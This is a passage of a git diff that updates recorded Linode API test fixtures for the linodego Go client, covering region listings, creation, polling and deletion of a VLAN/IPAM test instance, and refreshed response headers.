173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, + 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, + 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, + 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -94,19 +264,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:30:50 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -115,16 +289,19 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-ins-test-ipam","root_pass":"R34lBAdP455LONGLONGLONGLONG","image":"linode/debian9","interfaces":[{"ipam_address":"10.0.0.1/24","label":"go-vlan-test-ipam","purpose":"vlan"}],"booted":true}' + body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-ins-test-ipam","root_pass":"p2ro1f;Hv}2qD5{C13do69MMfFO?0?-x8C(YZ])-]7mN8*S!K8Z55eiaa*NF7p|''","image":"linode/debian9","interfaces":[{"ipam_address":"10.0.0.1/24","label":"go-vlan-test-ipam","purpose":"vlan"}],"firewall_id":501404,"booted":true}' form: {} headers: Accept: @@ -136,15 +313,16 @@ interactions: url: https://api.linode.com/v4beta/linode/instances method: POST response: - body: '{"id": 46937869, "label": "go-ins-test-ipam", "group": "", "status": "provisioning", + body: '{"id": 59542329, "label": "go-ins-test-ipam", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": - "g6-nanode-1", "ipv4": ["172.105.58.238"], "ipv6": "1234::5678/128", + "g6-nanode-1", "ipv4": ["172.105.62.189"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": + true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "88790c34691bcc0acb858c2e81c3bd1e6e6e91ac"}' + "0c685e2546a7fd35121dea21f706c8e55d0539ec", "has_user_data": false, "placement_group": + null}' headers: Access-Control-Allow-Credentials: - "true" @@ -157,15 +335,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "710" + - "758" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:30:51 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -178,7 +360,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: @@ -196,83 +381,19 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/46937869 - method: GET - response: - body: '{"id": 46937869, "label": "go-ins-test-ipam", "group": "", "status": "provisioning", - "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": - "g6-nanode-1", "ipv4": ["172.105.58.238"], "ipv6": "1234::5678/128", - "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": - 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": - 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": - null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "88790c34691bcc0acb858c2e81c3bd1e6e6e91ac"}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 - Content-Length: - - "710" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Server: - - nginx - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - linodes:read_only - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "800" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" -- request: - body: "" - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/46937869 + url: https://api.linode.com/v4beta/linode/instances/59542329 method: GET response: - body: '{"id": 46937869, "label": "go-ins-test-ipam", "group": "", "status": "provisioning", + body: '{"id": 59542329, "label": "go-ins-test-ipam", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": - "g6-nanode-1", "ipv4": ["172.105.58.238"], "ipv6": "1234::5678/128", + "g6-nanode-1", "ipv4": ["172.105.62.189"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": - null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "88790c34691bcc0acb858c2e81c3bd1e6e6e91ac"}' + true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, + "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": + [], "host_uuid": "0c685e2546a7fd35121dea21f706c8e55d0539ec", "has_user_data": + false, "placement_group": null}' headers: Access-Control-Allow-Credentials: - "true" @@ -285,16 +406,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "710" + - "774" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:31:06 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -308,9 +432,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -326,18 +453,19 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/46937869 + url: https://api.linode.com/v4beta/linode/instances/59542329 method: GET response: - body: '{"id": 46937869, "label": "go-ins-test-ipam", "group": "", "status": "booting", + body: '{"id": 59542329, "label": "go-ins-test-ipam", "group": "", "status": "booting", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": - "g6-nanode-1", "ipv4": ["172.105.58.238"], "ipv6": "1234::5678/128", + "g6-nanode-1", "ipv4": ["172.105.62.189"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": - null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "88790c34691bcc0acb858c2e81c3bd1e6e6e91ac"}' + true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, + "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": + [], "host_uuid": "0c685e2546a7fd35121dea21f706c8e55d0539ec", "has_user_data": + false, "placement_group": null}' headers: Access-Control-Allow-Credentials: - "true" @@ -350,16 +478,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "705" + - "769" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:31:21 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -373,9 +504,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -391,18 +525,19 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/46937869 + url: https://api.linode.com/v4beta/linode/instances/59542329 method: GET response: - body: '{"id": 46937869, "label": "go-ins-test-ipam", "group": "", "status": "running", + body: '{"id": 59542329, "label": "go-ins-test-ipam", "group": "", "status": "running", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": - "g6-nanode-1", "ipv4": ["172.105.58.238"], "ipv6": "1234::5678/128", + "g6-nanode-1", "ipv4": ["172.105.62.189"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": - null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "88790c34691bcc0acb858c2e81c3bd1e6e6e91ac"}' + true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, + "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": + [], "host_uuid": "0c685e2546a7fd35121dea21f706c8e55d0539ec", "has_user_data": + false, "placement_group": null}' headers: Access-Control-Allow-Credentials: - "true" @@ -415,16 +550,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "705" + - "769" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:31:36 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -438,9 +576,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -458,19 +599,20 @@ interactions: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"interfaces":"go-vlan-test-ipam"}' - url: https://api.linode.com/v4beta/linode/instances/46937869/configs + url: https://api.linode.com/v4beta/linode/instances/59542329/configs method: GET response: - body: '{"data": [{"id": 49793389, "label": "My Debian 9 Disk Profile", "helpers": + body: '{"data": [{"id": 62728938, "label": "My Debian 9 Disk Profile", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/grub2", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "root_device": "/dev/sda", "devices": {"sda": {"disk_id": 93562257, "volume_id": - null}, "sdb": {"disk_id": 93562258, "volume_id": null}, "sdc": null, "sdd": + "root_device": "/dev/sda", "devices": {"sda": {"disk_id": 117260968, "volume_id": + null}, "sdb": {"disk_id": 117260969, "volume_id": null}, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": - "default", "virt_mode": "paravirt", "interfaces": [{"id": 367868, "purpose": - "vlan", "ipam_address": "10.0.0.1/24", "label": "go-vlan-test-ipam"}]}], "page": - 1, "pages": 1, "results": 1}' + "default", "virt_mode": "paravirt", "interfaces": [{"id": 1598319, "purpose": + "vlan", "primary": false, "active": true, "ipam_address": "10.0.0.1/24", "label": + "go-vlan-test-ipam", "vpc_id": null, "subnet_id": null, "ipv4": null, "ipv6": + null, "ip_ranges": null}]}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -483,21 +625,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 - Content-Length: - - "746" + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:31:36 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: @@ -506,9 +650,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -524,7 +671,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/46937869 + url: https://api.linode.com/v4beta/linode/instances/59542329 method: DELETE response: body: '{}' @@ -540,15 +687,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:31:37 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -561,9 +712,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestVLANs_List.yaml b/test/integration/fixtures/TestVLANs_List.yaml index df7e50318..46bc24cb0 100644 --- a/test/integration/fixtures/TestVLANs_List.yaml +++ b/test/integration/fixtures/TestVLANs_List.yaml @@ -15,73 +15,243 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.144.192.62,139.144.192.60,139.144.192.61,139.144.192.53,139.144.192.54,139.144.192.67,139.144.192.69,139.144.192.66,139.144.192.52,139.144.192.68", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", - "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage - Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", - "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "eu-west", "label": "London, UK", "country": "uk", "capabilities": ["Linodes", + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium + Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, + 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, + 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 